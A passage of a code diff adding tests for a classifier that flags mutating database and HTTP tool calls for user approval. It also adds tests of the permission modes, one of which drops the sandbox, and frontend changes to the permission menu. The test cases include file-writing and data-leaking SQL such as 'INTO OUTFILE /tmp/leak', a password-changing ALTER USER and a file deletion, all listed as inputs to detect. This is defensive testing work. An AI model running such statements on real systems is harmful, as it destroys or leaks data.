+ ({"query": "can you attach the report to the email"}, False), # NL 'attach' stays safe
+ ({"query": "ATTACH '/tmp/x.db' AS x"}, True), # ATTACH without DATABASE keyword
+ ({"query": "PRAGMA main.user_version = 1"}, True), # schema-qualified write PRAGMA
+ ({"query": "attach it as draft"}, False), # NL 'attach ... as' stays safe
+ ({"query": "DROP FUNCTION f()"}, True), # DROP of a non-table object
+ ({"query": "ALTER INDEX idx RENAME TO idx2"}, True), # ALTER of a non-table object
+ ({"query": "DROP MATERIALIZED VIEW mv"}, True), # DROP with a modifier
+ ({"query": "ALTER USER bob WITH PASSWORD 'x'"}, True), # ALTER USER mutates
+ ({"query": "SELECT dropped_at FROM t"}, False), # 'drop' substring column stays safe
+ ({"query": "mutation M @audit { deleteIssue(id: 1) }"}, True), # directive GraphQL mutation
+ (
+ {"query": "query Q @cached { issue(id: 1) { title } }"},
+ False,
+ ), # directive GraphQL read stays safe
+ ({"query": 'UPDATE "users" SET admin=1'}, True), # double-quoted UPDATE target
+ ({"query": "UPDATE public.users SET admin=1"}, True), # schema-qualified UPDATE
+ ({"query": "UPDATE ONLY public.users SET admin=1"}, True), # ONLY-qualified UPDATE
+ ({"query": "UPDATE `users` SET admin=1"}, True), # backtick-quoted UPDATE
+ ({"query": "UPDATE [users] SET admin=1"}, True), # bracket-quoted UPDATE
+ ({"query": "please update the documentation set"}, False), # NL 'update ... set' stays safe
+ ({"query": "SELECT pg_terminate_backend(123)"}, True), # state-changing SQL function
+ ({"query": "SELECT setval('s', 1)"}, True), # sequence mutation function
+ ({"query": "SELECT pg_write_file('/tmp/p', 'x')"}, True), # server-side file write
+ ({"query": "SELECT lo_export(123, '/tmp/p')"}, True), # large-object export to a file
+ ({"query": "SELECT setval_col FROM t"}, False), # 'setval' column prefix stays safe
+ (
+ {"query": "SELECT secret INTO OUTFILE '/tmp/leak' FROM users"},
+ True,
+ ), # INTO OUTFILE write
+ ({"query": "SELECT x INTO DUMPFILE '/tmp/d' FROM t"}, True), # INTO DUMPFILE write
+ (
+ {"query": "SELECT count(*) INTO cnt FROM t"},
+ False,
+ ), # PL/pgSQL SELECT INTO var stays safe
+ ({"query": "REFRESH MATERIALIZED VIEW mv"}, True), # materialized view rewrite
+ ({"query": "REINDEX INDEX idx"}, True), # index rebuild
+ ({"query": "REINDEX TABLE t"}, True), # table reindex
+ ({"query": "SELECT refresh_count FROM t"}, False), # 'refresh' column stays safe
+ ({"query": "please refresh the page"}, False), # NL 'refresh' stays safe
+ ({"query": "COMMENT ON TABLE users IS 'owned'"}, True), # catalog metadata write
+ ({"query": "LOCK TABLE users IN ACCESS EXCLUSIVE MODE"}, True), # explicit lock
+ ({"query": "SECURITY LABEL FOR x ON TABLE t IS 'z'"}, True), # security label write
+ ({"query": "CREATE POLICY p ON accounts USING (true)"}, True), # row-security policy DDL
+ ({"query": "SELECT comment FROM t"}, False), # 'comment' column stays safe
+ ({"query": "SELECT * FROM locks"}, False), # 'locks' table stays safe
+ ({"query": "SELECT nextval('billing_seq')"}, True), # sequence advance mutates
+ ({"query": "SELECT pg_advisory_lock(42)"}, True), # advisory lock changes state
+ ({"query": "SELECT pg_notify('jobs', 'wake')"}, True), # server-side notification
+ ({"query": "SELECT set_config('x', 'y', false)"}, True), # session config write
+ ({"query": "SELECT nextval_col FROM t"}, False), # 'nextval' column prefix stays safe
+ ({"query": "TRUNCATE users"}, True), # multi-char table name (bare TRUNCATE)
+ ({"query": "TRUNCATE TABLE accounts"}, True), # multi-char TRUNCATE TABLE
+ ({"query": 'TRUNCATE TABLE "users"'}, True), # quoted TRUNCATE target
+ ({"query": "TRUNCATE accounts RESTART IDENTITY"}, True), # TRUNCATE with options
+ ({"query": "SELECT truncate_log FROM t"}, False), # 'truncate' column stays safe
+ ({"query": "UPDATE users AS u SET admin=1"}, True), # aliased UPDATE target (AS)
+ ({"query": 'UPDATE "users" AS u SET x=1'}, True), # quoted+aliased UPDATE
+ ({"query": "UPDATE public.users AS u SET x=1"}, True), # schema-qualified aliased UPDATE
+ ({"query": "SELECT * FROM users AS u"}, False), # aliased SELECT stays safe
+ ({"query": "please update the documentation set"}, False), # NL, no AS, stays safe
+ ({"query": "GRANT SELECT ON t TO u"}, True), # privilege grant (multi-word)
+ ({"query": "REVOKE ALL ON t FROM u"}, True), # privilege revoke (multi-word)
+ ({"query": "SELECT * FROM grants"}, False), # 'grants' table stays safe
+ ({"url": "http://x", "method": "DELETE"}, True), # mutating HTTP verb arg
+ ({"method": "POST"}, True),
+ ({"verb": "PUT"}, True), # alternate method-key name
+ ({"method": "GET"}, False), # read HTTP verb stays safe
+ ({"method": "HEAD"}, False),
+ ],
+)
+def test_mcp_mutating_arguments(args, unsafe):
+ name = f"{MCP_TOOL_PREFIX}db__query_database"
+ assert is_potentially_unsafe_tool_call(name, args) is unsafe
+
+
+# ── loop behavior ───────────────────────────────────────────────────
+
+_DEFAULT_TOOLS = [
+ {"type": "function", "function": {"name": "python"}},
+ {"type": "function", "function": {"name": "web_search"}},
+]
+
+
+class _FakeExecuteTool:
+ def __init__(self):
+ self.calls = []
+ self.disable_sandbox_seen = []
+
+ def __call__(
+ self,
+ name,
+ arguments,
+ *,
+ cancel_event = None,
+ timeout = None,
+ session_id = None,
+ thread_id = None,
+ rag_scope = None,
+ disable_sandbox = False,
+ ):
+ self.calls.append((name, arguments))
+ self.disable_sandbox_seen.append(disable_sandbox)
+ return f"RESULT[{name}]"
+
+
+def _tool_call(name, args_json):
+ return f'<tool_call>{{"name": "{name}", "arguments": {args_json}}}</tool_call>'
+
+
+def _multi_turn(turns):
+ turn_iter = iter(turns)
+
+ def _gen(_messages):
+ try:
+ yield next(turn_iter)
+ except StopIteration:
+ return
+
+ return _gen
+
+
+def _drive(turns, decisions, **loop_kwargs):
+ """Run the loop, resolving each gated tool_start with the next decision."""
+ decision_iter = iter(decisions)
+ exec_fn = _FakeExecuteTool()
+ # A per-call session id so a leaked pending approval from another test can
+ # never collide with this run's approval registry entries.
+ session = f"{_SESSION}-{uuid.uuid4().hex}"
+ gen = run_safetensors_tool_loop(
+ single_turn = _multi_turn(turns),
+ messages = [{"role": "user", "content": "hi"}],
+ tools = _DEFAULT_TOOLS,
+ execute_tool = exec_fn,
+ session_id = session,
+ **loop_kwargs,
+ )
+ events = []
+ for ev in gen:
+ events.append(ev)
+ if ev["type"] == "tool_start" and ev.get("awaiting_confirmation"):
+ resolve_tool_decision(ev["approval_id"], next(decision_iter), session_id = session)
+ return events, exec_fn
+
+
+def _tool_starts(events):
+ return [e for e in events if e["type"] == "tool_start"]
+
+
+def _diag(events, exec_fn):
+ """A compact dump of what the loop actually did, attached to the loop-driving
+ assertions so a full-suite-only failure on CI (which does not reproduce when
+ the file runs alone) reports the real event stream instead of a bare diff."""
+ return (
+ f"calls={exec_fn.calls} sandbox_seen={exec_fn.disable_sandbox_seen} "
+ f"events={[(e.get('type'), e.get('awaiting_confirmation'), e.get('tool_name')) for e in events]}"
+ )
+
+
+def test_auto_mode_does_not_gate_safe_calls():
+ events, exec_fn = _drive(
+ [_tool_call("python", '{"code": "print(1)"}'), "final"],
+ [],
+ confirm_tool_calls = True,
+ permission_mode = "auto",
+ )
+ starts = _tool_starts(events)
+ assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+ assert starts[0]["approval_id"] == ""
+ assert exec_fn.calls == [("python", {"code": "print(1)"})], _diag(events, exec_fn)
+ assert exec_fn.disable_sandbox_seen == [False], _diag(
+ events, exec_fn
+ ) # sandbox stays on in auto
+
+
+def test_auto_mode_gates_unsafe_calls():
+ events, exec_fn = _drive(
+ [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
+ ["allow"],
+ confirm_tool_calls = True,
+ permission_mode = "auto",
+ )
+ starts = _tool_starts(events)
+ assert starts and starts[0]["awaiting_confirmation"] is True, _diag(events, exec_fn)
+ assert starts[0]["approval_id"]
+ assert len(exec_fn.calls) == 1, _diag(events, exec_fn)
+ assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn)
+
+
+def test_ask_mode_gates_even_safe_calls():
+ events, _ = _drive(
+ [_tool_call("python", '{"code": "print(1)"}'), "final"],
+ ["allow"],
+ confirm_tool_calls = True,
+ permission_mode = "ask",
+ )
+ starts = _tool_starts(events)
+ assert starts and starts[0]["awaiting_confirmation"] is True
+
+
+def test_unset_mode_behaves_as_ask():
+ events, _ = _drive(
+ [_tool_call("python", '{"code": "print(1)"}'), "final"],
+ ["allow"],
+ confirm_tool_calls = True,
+ )
+ starts = _tool_starts(events)
+ assert starts and starts[0]["awaiting_confirmation"] is True
+
+
+def test_off_mode_never_gates_and_keeps_sandbox():
+ # "Off": no prompts even for unsafe calls, but the sandbox stays on.
+ events, exec_fn = _drive(
+ [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
+ [],
+ confirm_tool_calls = True, # off must win over a stray confirm flag
+ permission_mode = "off",
+ )
+ starts = _tool_starts(events)
+ assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+ assert starts[0]["approval_id"] == ""
+ assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn)
+
+
+def test_full_mode_never_gates_and_drops_sandbox():
+ events, exec_fn = _drive(
+ [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
+ [],
+ confirm_tool_calls = True, # full must win over the confirm gate
+ permission_mode = "full",
+ )
+ starts = _tool_starts(events)
+ assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+ assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn)
+
+
+def test_bypass_flag_implies_full_mode():
+ # Legacy callers that only set bypass_permissions keep the same behavior.
+ events, exec_fn = _drive(
+ [_tool_call("python", '{"code": "print(1)"}'), "final"],
+ [],
+ confirm_tool_calls = True,
+ bypass_permissions = True,
+ )
+ starts = _tool_starts(events)
+ assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+ assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn)
+
+
+def test_bypass_permissions_folds_to_full_on_request_models():
+ # A legacy bypass caller that also sends a stale ask/auto mode normalizes to
+ # full, so the route guards (which reject ask/auto) don't 400 the request.
+ for cls in (ChatCompletionRequest, AnthropicMessagesRequest):
+ req = cls(
+ messages = [{"role": "user", "content": "hi"}],
+ bypass_permissions = True,
+ permission_mode = "auto",
+ )
+ assert req.permission_mode == "full"
+ assert req.bypass_permissions is True
+
+
+def test_unknown_permission_mode_normalizes_to_ask_on_request_models():
+ # An unrecognized mode from a newer UI/client must degrade to the safest gate
+ # ("ask") at the API boundary instead of a 422, so the forward-compat fallback
+ # the tool loops already apply (unknown -> ask) is reachable. None stays unset;
+ # the four known modes pass through untouched.
+ for cls in (ChatCompletionRequest, AnthropicMessagesRequest):
+ for unknown in ("paranoid", "readonly", "bogus", ""):
+ req = cls(
+ messages = [{"role": "user", "content": "hi"}],
+ permission_mode = unknown,
+ )
+ assert req.permission_mode == "ask", (cls.__name__, unknown)
+ assert (
+ cls(messages = [{"role": "user", "content": "hi"}], permission_mode = None).permission_mode
+ is None
+ )
+ for known in ("ask", "auto", "off", "full"):
+ req = cls(
+ messages = [{"role": "user", "content": "hi"}],
+ permission_mode = known,
+ )
+ # 'full' folds to bypass but the mode string is preserved.
+ assert req.permission_mode == known, (cls.__name__, known)
+
+
+def test_ask_auto_self_enable_confirm_on_chat_request():
+ # "Ask" gates every call, so a direct /chat/completions caller that requests
+ # ask but omits the legacy confirm flag self-enables it when Studio's own tool
+ # loop is requested. Only the router's loop-entry signals count (enable_tools /
+ # mcp_enabled); enabled_tools alone never starts the loop.
+ for loop in ({"enable_tools": True}, {"mcp_enabled": True}):
+ req = ChatCompletionRequest(
+ messages = [{"role": "user", "content": "hi"}],
+ permission_mode = "ask",
+ **loop,
+ )
+ assert req.confirm_tool_calls is True
+ # "auto" is NOT folded: it only prompts for a classifier-flagged call, so
+ # leaving confirm unset lets the route apply the safe-only-selection exception
+ # (a safe-only auto request needs no stream) instead of an explicit confirm
+ # forcing stream=true. The mode still drives the loop's per-call gate.
+ for loop in ({"enable_tools": True}, {"mcp_enabled": True}):
+ req = ChatCompletionRequest(
+ messages = [{"role": "user", "content": "hi"}],
+ permission_mode = "auto",
+ **loop,
+ )
+ assert req.confirm_tool_calls is None
+ # enabled_tools by itself is a passthrough filter, not a loop-entry signal:
+ # a client-tool passthrough that also lists enabled_tools must route verbatim
+ # (confirm stays unset), else the confirm-without-stream guard 400s it.
+ for mode in ("ask", "auto"):
+ req = ChatCompletionRequest(
+ messages = [{"role": "user", "content": "hi"}],
+ permission_mode = mode,
+ enabled_tools = ["terminal"],
+ tools = [{"type": "function", "function": {"name": "f"}}],
+ )
+ assert req.confirm_tool_calls is None
+ # An explicit confirm_tool_calls=False wins over the ask mode (opts out of the
+ # gate), matching _permission_mode_confirm and the Anthropic pre-switch guard;
+ # the fold only self-enables when the flag is unset, so a caller cannot get a
+ # different answer on the chat path than the Anthropic path for the same body.
+ req = ChatCompletionRequest(
+ messages = [{"role": "user", "content": "hi"}],
+ permission_mode = "ask",
+ enable_tools = True,
+ confirm_tool_calls = False,
+ )
+ assert req.confirm_tool_calls is False
+ # A plain client-tool passthrough (client-supplied tools that Studio does not
+ # execute) must NOT self-enable confirm, or the route rejects the passthrough.
+ req = ChatCompletionRequest(
+ messages = [{"role": "user", "content": "hi"}],
+ permission_mode = "ask",
+ tools = [{"type": "function", "function": {"name": "f"}}],
+ )
+ assert req.confirm_tool_calls is None
+ # ask/auto without any tool request has nothing to gate; confirm stays unset.
+ req = ChatCompletionRequest(
+ messages = [{"role": "user", "content": "hi"}],
+ permission_mode = "ask",
+ )
+ assert req.confirm_tool_calls is None
+ # Legacy callers with no permission_mode keep their confirm flag untouched.
+ req = ChatCompletionRequest(
+ messages = [{"role": "user", "content": "hi"}],
+ confirm_tool_calls = False,
+ )
+ assert req.confirm_tool_calls is False
+ # External-provider requests are not folded (the provider branch rejects
+ # confirm_tool_calls with tools, and permission_mode is a local concept).
+ for extra in ({"provider_id": "p1"}, {"provider_type": "openai"}):
+ req = ChatCompletionRequest(
+ messages = [{"role": "user", "content": "hi"}],
+ permission_mode = "ask",
+ enable_tools = True,
+ **extra,
+ )
+ assert req.confirm_tool_calls is None
+
+
+def test_permission_mode_confirm_derivation():
+ # The route derives the effective confirm gate from permission_mode so that a
+ # tool loop forced on by CLI policy (no request-level tool flag) still honors
+ # the documented "unset behaves as ask" default.
+ from routes.inference import _permission_mode_confirm
+
+ def req(**kw):
+ return ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}], **kw)
+
+ # An explicit confirm flag always wins (True gates, False opts out).
+ assert _permission_mode_confirm(req(confirm_tool_calls = True, stream = False)) is True
+ assert _permission_mode_confirm(req(confirm_tool_calls = False, permission_mode = "ask")) is False
+ # Explicit ask/auto always engage the gate (a non-streaming one is rejected
+ # by the guard that reads this).
+ assert _permission_mode_confirm(req(permission_mode = "ask", stream = False)) is True
+ assert _permission_mode_confirm(req(permission_mode = "auto", stream = False)) is True
+ # off/full never prompt.
+ assert _permission_mode_confirm(req(permission_mode = "off")) is False
+ assert _permission_mode_confirm(req(permission_mode = "full")) is False
+ # An unset mode defaults to ask, but only realizably on a streaming request;
+ # a non-streaming unset request keeps the legacy run-without-gate behavior.
+ assert _permission_mode_confirm(req(stream = True)) is True
+ assert _permission_mode_confirm(req(stream = False)) is False
+
+
+def test_confirm_gate_needs_stream():
+ # auto only prompts for a classifier-flagged call, so an auto request that can
+ # only select always-safe tools (web_search / RAG) needs no stream and must not
+ # be rejected by the confirm-without-stream guard.
+ from routes.inference import _confirm_gate_needs_stream
+
+ def req(**kw):
+ return ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}], **kw)
+
+ safe = ["web_search", "search_knowledge_base"]
+ # auto + a safe-only selection never prompts -> no stream needed.
+ assert _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = safe)) is False
+ assert (
+ _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["web_search"]))
+ is False
+ )
+ # render_html can prompt when its canvas reaches the network, so a selection
+ # that includes it needs a stream to deliver that prompt.
+ assert (
+ _confirm_gate_needs_stream(
+ req(permission_mode = "auto", enabled_tools = ["web_search", "render_html"])
+ )
+ is True
+ )
+ # But a selectable unsafe tool, an unrestricted (omitted) selection, MCP, or an
+ # explicit confirm flag all still require streaming under auto.
+ assert (
+ _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["terminal"])) is True
+ )
+ assert _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True)) is True
+ assert (
+ _confirm_gate_needs_stream(
+ req(permission_mode = "auto", enabled_tools = ["web_search"], mcp_enabled = True)
+ )
+ is True
+ )
+ assert (
+ _confirm_gate_needs_stream(
+ req(permission_mode = "auto", enabled_tools = ["web_search"], confirm_tool_calls = True)
+ )
+ is True
+ )
+ # An explicit empty selection runs no built-in tool, so nothing can prompt and
+ # no stream is needed (distinct from an omitted list, which means all tools).
+ assert (
+ _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True, enabled_tools = []))
+ is False
+ )
+ # ask prompts for every call, so even a safe-only selection needs streaming.
+ assert _confirm_gate_needs_stream(req(permission_mode = "ask", enabled_tools = safe)) is True
+ # off/full never prompt; unset non-streaming keeps the legacy run-without-gate.
+ assert _confirm_gate_needs_stream(req(permission_mode = "off", enabled_tools = safe)) is False
+ assert _confirm_gate_needs_stream(req(permission_mode = "full", enabled_tools = safe)) is False
+ assert _confirm_gate_needs_stream(req(enabled_tools = safe, stream = False)) is False
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index 63fdbbd8e9e..eae1a75161e 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -2592,6 +2592,50 @@ class TestLoopBasic:
assert tool_starts[0]["arguments"] == {}
assert "<!doctype html>" in tool_starts[1]["arguments"]["code"]
+ def test_render_html_auto_mode_static_runs_without_prompt(self):
+ """permission_mode="auto" ships confirm_tool_calls=true. render_html is no
+ longer unconditionally safe (a networked canvas must ask), so its early
+ provisional card is suppressed under the confirm gate; a static canvas is
+ still classified safe and runs without an approval prompt."""
+ exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
+ turn_iter = iter(
+ [
+ [
+ "<function=render_html>",
+ "<parameter=code><!doctype html><html>",
+ "<body>Hi</body></html></parameter></function>",
+ ],
+ ["Done."],
+ ]
+ )
+
+ def _gen(_messages):
+ chunks = next(turn_iter)
+ acc = ""
+ for chunk in chunks:
+ acc += chunk
+ yield acc
+
+ loop = run_safetensors_tool_loop(
+ single_turn = _gen,
+ messages = [{"role": "user", "content": "make html"}],
+ tools = [{"type": "function", "function": {"name": "render_html"}}],
+ execute_tool = exec_fn,
+ confirm_tool_calls = True,
+ permission_mode = "auto",
+ session_id = "sess",
+ max_tool_iterations = 3,
+ )
+ events = _collect_events(loop)
+ tool_starts = [e for e in events if e["type"] == "tool_start"]
+
+ # No early provisional card under the auto confirm gate; just the real call.
+ assert len(tool_starts) == 1
+ assert tool_starts[0]["tool_name"] == "render_html"
+ assert "<!doctype html>" in tool_starts[0]["arguments"]["code"]
+ # A static canvas is classified safe, so it runs without an approval gate.
+ assert tool_starts[0].get("awaiting_confirmation") in (False, None)
+
def test_render_html_provisional_card_closed_on_generator_exception(self):
"""If the model generator raises mid-stream after a provisional render_html
card was surfaced, the loop must close that card as errored before the
@@ -3674,6 +3718,26 @@ class TestGuardrails:
assert any(e.get("type") == "content" and e.get("text") == "plain answer" for e in events)
assert exec_fn.calls == []
+ def test_auto_mode_still_runs_rag_autoinject(self, monkeypatch):
+ # "auto" sends confirm_tool_calls=true so unsafe calls gate, but the
+ # safe search_knowledge_base retrieval never gates, so autoinject must
+ # still run (unlike ask mode above).
+ ran = {"called": False}
+
+ def fake_autoinject(*_args, **_kwargs):
+ ran["called"] = True
+ return None
+
+ monkeypatch.setattr("core.inference.tools.build_rag_autoinject", fake_autoinject)
+ loop, _exec_fn = _make_loop(
+ turns = [["plain answer"]],
+ confirm_tool_calls = True,
+ permission_mode = "auto",
+ rag_scope = {"thread_id": "t1"},
+ )
+ _collect_events(loop)
+ assert ran["called"] is True
+
def test_auto_heal_disabled_preserves_xml_on_final_no_tools_pass(self):
turns = iter(
[
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index 5b6264c6d78..9b502a50004 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -79,6 +79,7 @@ import { McpComposerButton } from "@/features/chat/mcp-composer-button";
import { getExternalReasoningCapabilities } from "@/features/chat/provider-capabilities";
import { useRagToolDisabled } from "@/features/chat/hooks/use-rag-tool-disabled";
import { BypassPermissionsMenuItem } from "@/features/chat/bypass-permissions-menu-item";
+import { PermissionModeComposerPill } from "@/features/chat/permission-mode-select";
import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
import { useExternalProvidersStore } from "@/features/chat/stores/external-providers-store";
import { PROMPT_QUEUE_STOP_EVENT } from "@/features/chat/utils/prompt-queue-boundary";
@@ -131,7 +132,6 @@ import {
Image03Icon,
McpServerIcon,
PencilRulerIcon,
- ShieldBanIcon,
} from "@hugeicons/core-free-icons";
import { HugeiconsIcon } from "@hugeicons/react";
import { useNavigate } from "@tanstack/react-router";
@@ -1428,11 +1428,14 @@ const Composer: FC<{
const artifactsEnabled = useChatRuntimeStore((s) => s.artifactsEnabled);
const mcpEnabledForChat = useChatRuntimeStore((s) => s.mcpEnabledForChat);
const ragEnabled = useChatRuntimeStore((s) => s.ragEnabled);
+ const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
- // More than 4 pills: collapse to icons only. Search and Code always show;
+ // More than 4 pills: collapse to icons only. Search and Code always show; the
+ // permission pill shows in every mode except "off" (it renders null there);
// Images, RAG, Canvas and MCP are conditional.
const pillsCompact =
2 +
+ (permissionMode !== "off" ? 1 : 0) +
(ragEnabled ? 1 : 0) +
(supportsBuiltinImageGeneration ? 1 : 0) +
(artifactsEnabled ? 1 : 0) +
@@ -1856,9 +1859,9 @@ const Composer: FC<{
data-pill-compact={pillsCompact ? "true" : undefined}
>
<ComposerToolsMenu side={effectiveMenuSide} />
- {/* Active-mode badge: always visible when bypass is on, even while
- the pill row is collapsed (returns null when off). */}
- <BypassPermissionsToggle />
+ {/* Permission-level pill: always visible, even while the pill row
+ is collapsed; opens the permission level dropdown. */}
+ <PermissionModeComposerPill side={effectiveMenuSide} />
{composerExpanded ? (
<>
<WebSearchToggle />
@@ -2620,36 +2623,6 @@ const ArtifactsToggle: FC = () => {
);
};
-// Claude gold pill shown while Bypass permissions is on; click to turn it off.
-// Mirror of shared-composer's badge so both composers surface the state.
-const BypassPermissionsToggle: FC = () => {
- const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
- const setBypassPermissions = useChatRuntimeStore(
- (s) => s.setBypassPermissions,
- );
- if (!bypassPermissions) return null;
- return (
- <button
- type="button"
- onClick={() => setBypassPermissions(false)}
- className="composer-pill-btn"
- data-active="true"
- data-variant="danger"
- aria-label="Disable Bypass permissions"
- title="Bypass permissions is on (no confirmation, no sandbox). Click to turn off."
- >
- <PillGlyph>
- <HugeiconsIcon
- icon={ShieldBanIcon}
- strokeWidth={2}
- className="size-[15px]"
- />
- </PillGlyph>
- <span>Bypass permissions</span>
- </button>
- );
-};
-
const ToolStatusDisplay: FC = () => {
const toolStatus = useChatRuntimeStore((s) => s.toolStatus);
const isThreadRunning = useAuiState(({ thread }) => thread.isRunning);
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 12c1c3b3857..c7dd6372aa1 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -173,6 +173,7 @@ interface ResponseDetailsMetadata {
artifacts: boolean;
confirmToolCalls: boolean;
bypassPermissions: boolean;
+ permissionMode?: string;
};
}
@@ -1951,6 +1952,7 @@ export function createOpenAIStreamAdapter(
mcpEnabledForChat,
confirmToolCalls,
bypassPermissions,
+ permissionMode,
webFetchToolsEnabled,
ragEnabled,
ragSource,
@@ -2642,6 +2644,7 @@ export function createOpenAIStreamAdapter(
artifacts: renderHtmlToolEnabledForThisTurn,
confirmToolCalls,
bypassPermissions,
+ permissionMode,
},
});
const externalCapabilities = getProviderCapabilities(
@@ -2953,6 +2956,16 @@ export function createOpenAIStreamAdapter(
...(supportsPreserveThinking
? { preserve_thinking: preserveThinking }
: {}),
+ // Permission level for local tool calls is sent for every local
+ // chat, not only when a tool pill is on: a process policy
+ // (unsloth run --enable-tools) can open the tool loop with no pill,
+ // and the backend must still see the selected gate. ask/auto request
+ // the confirm gate ("auto" only pauses calls flagged unsafe); off
+ // and full never prompt, full also drops the sandbox.
+ permission_mode: permissionMode,
+ confirm_tool_calls:
+ permissionMode === "ask" || permissionMode === "auto",
+ bypass_permissions: bypassPermissions,
...(supportsTools &&
(toolsEnabled ||
codeToolsEnabled ||
@@ -2974,10 +2987,6 @@ export function createOpenAIStreamAdapter(
: []),
],
mcp_enabled: mcpEnabledForChat,
- // Bypass Permissions wins: never request the confirm gate
- // while bypassing, and tell the backend to drop the sandbox.
- confirm_tool_calls: confirmToolCalls && !bypassPermissions,
- bypass_permissions: bypassPermissions,
// Scope: thread_id = this thread's docs, kb_id = a KB,
// project_id = the thread's project sources (auto-on whenever
// the project has indexed sources, no Docs pill needed).
diff --git a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
index 14cb6747e9e..b35317b2faf 100644
--- a/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
+++ b/studio/frontend/src/features/chat/bypass-permissions-menu-item.tsx
@@ -14,45 +14,49 @@ import {
AlertDialogHeader,
AlertDialogTitle,
} from "@/components/ui/alert-dialog";
-import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
+import {
+ DropdownMenuSub,
+ DropdownMenuSubContent,
+ DropdownMenuSubTrigger,
+} from "@/components/ui/dropdown-menu";
import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
-import { Tick02Icon } from "@/lib/tick-icon";
+import { PermissionModeMenuItems } from "./permission-mode-select";
-// "Bypass permissions" entry for the composer "+" -> More menu. Mirrors the
-// settings toggle: enabling demands the danger warning, disabling is immediate.
-// The menu closes normally on select (no preventDefault) -- the warning dialog
-// lives outside the menu (BypassPermissionsConfirmDialog, mounted once at the
-// chat-page root and driven by the store), so it survives the menu unmounting
-// and the "+"/More popovers don't stay frozen.
+// "Bypass permissions" entry for the composer "+" -> More menu. Like the MCP
+// pill, it opens a submenu where the user picks the permission level (Ask for
+// approval / Approve for me / Full access). Picking Full access demands the
+// danger warning; the other levels apply immediately. The menu closes normally
+// on select (no preventDefault) -- the warning dialog lives outside the menu
+// (BypassPermissionsConfirmDialog, mounted once at the chat-page root and
+// driven by the store), so it survives the menu unmounting and the "+"/More
+// popovers don't stay frozen.
export function BypassPermissionsMenuItem() {
- const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
- const setBypassPermissions = useChatRuntimeStore(
- (s) => s.setBypassPermissions,
- );
+ const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
const setBypassConfirmOpen = useChatRuntimeStore(
(s) => s.setBypassConfirmOpen,
);
return (
- <DropdownMenuItem
- className={bypassPermissions ? "text-bypass font-medium" : undefined}
- onSelect={() => {
- if (bypassPermissions) {
- setBypassPermissions(false);
- } else {
- // Defer past Radix's menu-close focus restoration: opening the dialog
- // synchronously here lets the dropdown grab focus back and breaks the
- // dialog's focus trap.
- setTimeout(() => setBypassConfirmOpen(true), 0);
+ <DropdownMenuSub>
+ <DropdownMenuSubTrigger
+ className={
+ permissionMode === "full" ? "text-bypass font-medium" : undefined
}
- }}
- >
- <HugeiconsIcon icon={ShieldBanIcon} strokeWidth={2} />
- Bypass permissions
- {bypassPermissions ? (
- <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
- ) : null}
- </DropdownMenuItem>
+ >
+ <HugeiconsIcon icon={ShieldBanIcon} strokeWidth={2} />
+ Bypass permissions
+ </DropdownMenuSubTrigger>
+ <DropdownMenuSubContent className="unsloth-plus-menu w-[300px]">
+ <PermissionModeMenuItems
+ // Defer past Radix's menu-close focus restoration: opening the
+ // dialog synchronously here lets the dropdown grab focus back and
+ // breaks the dialog's focus trap.
+ onRequestFullAccess={() =>
+ setTimeout(() => setBypassConfirmOpen(true), 0)
+ }
+ />
+ </DropdownMenuSubContent>
+ </DropdownMenuSub>
);
}
@@ -63,19 +67,17 @@ export function BypassPermissionsMenuItem() {
export function BypassPermissionsConfirmDialog() {
const open = useChatRuntimeStore((s) => s.bypassConfirmOpen);
const setOpen = useChatRuntimeStore((s) => s.setBypassConfirmOpen);
- const setBypassPermissions = useChatRuntimeStore(
- (s) => s.setBypassPermissions,
- );
+ const setPermissionMode = useChatRuntimeStore((s) => s.setPermissionMode);
return (
<AlertDialog open={open} onOpenChange={setOpen}>
<AlertDialogContent size="sm">
<AlertDialogHeader>
- <AlertDialogTitle>Enable Bypass permissions?</AlertDialogTitle>
+ <AlertDialogTitle>Enable Full access?</AlertDialogTitle>
<AlertDialogDescription>
- Bypass permissions is dangerous since the AI model might delete,
